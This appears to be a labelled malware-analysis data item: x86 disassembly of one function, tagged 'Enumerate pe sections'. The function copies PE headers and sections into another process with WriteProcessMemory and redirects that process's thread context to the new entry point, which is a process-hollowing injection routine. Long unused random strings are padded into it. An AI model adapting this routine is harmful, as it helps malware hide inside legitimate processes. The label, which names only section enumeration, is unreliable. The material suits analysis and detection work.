Function at 0x407600
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x416350
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x479010]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], str.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
push 0x45a45c
mov eax, dword [ebp - 0x20]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x20]
mov eax, dword [edx + 0x24]
call eax
push 0
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx + 0x54]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [0x47a4b4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x18], 0
jmp 0x40767f
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp + 0x10]
movzx edx, word [ecx + 6]
cmp dword [ebp - 0x18], edx
jge 0x4076d5
imul eax, dword [ebp - 0x18], 0x28
add eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ecx + 0x3c]
lea eax, [eax + edx + 0xf8]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], str.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
push 0
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0xc]
push eax
mov ecx, dword [0x47a4b4]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x407676
mov dword [ebp - 0x2c], str.yeV1etoAz2kBE0ThmXSvfWwK8NCvlrnvamyprYSDUQBuUIVKE8vn16baDETaJFjvVioR4uqyGYKeNpur2d2M4bO6xaXecqD6gTeclfIKfcRcxR3yHbM1oWySMVclmH08FMmIsXKWAo5OFSN44Hw0RAIaVLXggxHfReBptPKdoKwCcbLNAdBbdJWTfFDLhRTVFegLltdTWDjcspHrVLRD5w7nzPCKfztw2sdTTWTJcACfce8qRbC02vnfpFlbly594kNsSOQLHnDtAdj6kVLtuE8sUMd6bz9N0USGU3nnHWxLc9EjAe93ITMDv1ARRCUNDVRYVDhvDPxETMAYC5S6wXkn7XsAB3eXWHhi7ax7pnyUCfO7cB1aARbQE9I5Orfd05u60HAixbTXdwIB5APwA1GOgTz8XXdu5qt6EymEpTcRgsR2zpuSw9Sc1EBvhCtwYA7wrnq0mftA7HTFuX4rBiq93WLXIexG2581Y82jN395SKGwbNuMlSA1wnq96s445WcFa72N8b1huUahr0C2wAknAClHSLNssNP28WVSLBi0znslFeaHaseYqpDdouIm2Su9iBTa8mx4y3MNJKLLzRtNdARcFKPYdWsqlmGsGAKgBMxt1nVFivW0b4WawwoeRoWPeNKMStigHcgPrw4jaq9VwPbxyAJGq95HaU9ndiVLxJB8oas1iVcbuWhJ6zkHNJOQBUADbpNoBGogQSiB2JTwlzk5hWNgsg3AkrrdhfrH9cyPfMEj1QFVmTPSYXW5moxBknFU2jMecabbxCuP8ByBMgDpPJEBXpY6R1UN1casunvjeFFmwFgTX03QgdYVh7SHvTs5KAiNCsUXjOWtD19rcBGnr98TNWHu3XddOcgGSMTxjvWf90b0NBC6j7o3yTM1yqHPPSyqkF7cfLcb1fYy9Bi5AyhA5xmhnQaNnw4jP9lLFd8gtJPkziwmKIotr0vG68q9565BYaxMD22TYLDHurwR1Fskc1fbCvV8zGguarLtJY8Yj1UjgSTzqjpvrTu63vOcwpD9uxeN3puPsoSVjzGlHog3Lw1eM0P1ztGDTSipcf7eJdlz5ve0qrcHiltQvdosqbe43ErDiXQpG6MtYKmkSSvUEptF9EwzLTupmWkx0Gu46Yj2tsd59TGR1ksQTdTDk57D3CHSr1Fk5aER4TmW2yin1iK1e4Q7Pg4G5ow7jeVNXdeOcmLzaI62P6CdQHlG11MqbMNpN7Iwm53SpgLxS6W5b4c0L1WeE42FQbLCA4m191Mkc36pmdSvg9tkg9UOv81dmKJkU33c60NgGHEIEdcOKDzdBOt6XTSWHHAYc4tFkMTeDKpyKJOjxAt5BXSMPLnHk1nNSInpH8FbhcC1phUoLAVgJqsm9GbMh2I4fzfVF4IVtX4NoKLbdsuPL5sQupu0ofd6UM23JIk5nRLvyuLVkHeytkneWzhq6YcX0CXvcCb4AoBQtahvEAdkmME3nMfntrumieEaWqKSiIgvw4FbpzpezsaPpAY7K9LYd9GoH7Vi5fHPiwrAJMxrTPh48NnyoHMX9GuGUd9U2FgOBR5MLdfiUV026tFg1HnLrVkIHKrjEXB5predzwTfPkTXhXrqsIpjoIhiShpSUkGRUBzG9eLVA3918RzRNpTPfFgj1QfUfgO7yJRstxV5OEr9y2h5hoS1c90Ql3JEwvDmTfX6utiB
push 0
push 4
mov edx, dword [ebp + 0x10]
add edx, 0x34
push edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0xa4]
add ecx, 8
push ecx
mov edx, dword [0x47a4b4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x28]
mov edx, dword [ebp + 0x14]
mov dword [edx + 0xb0], ecx
mov al, 1
jmp 0x40773a
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14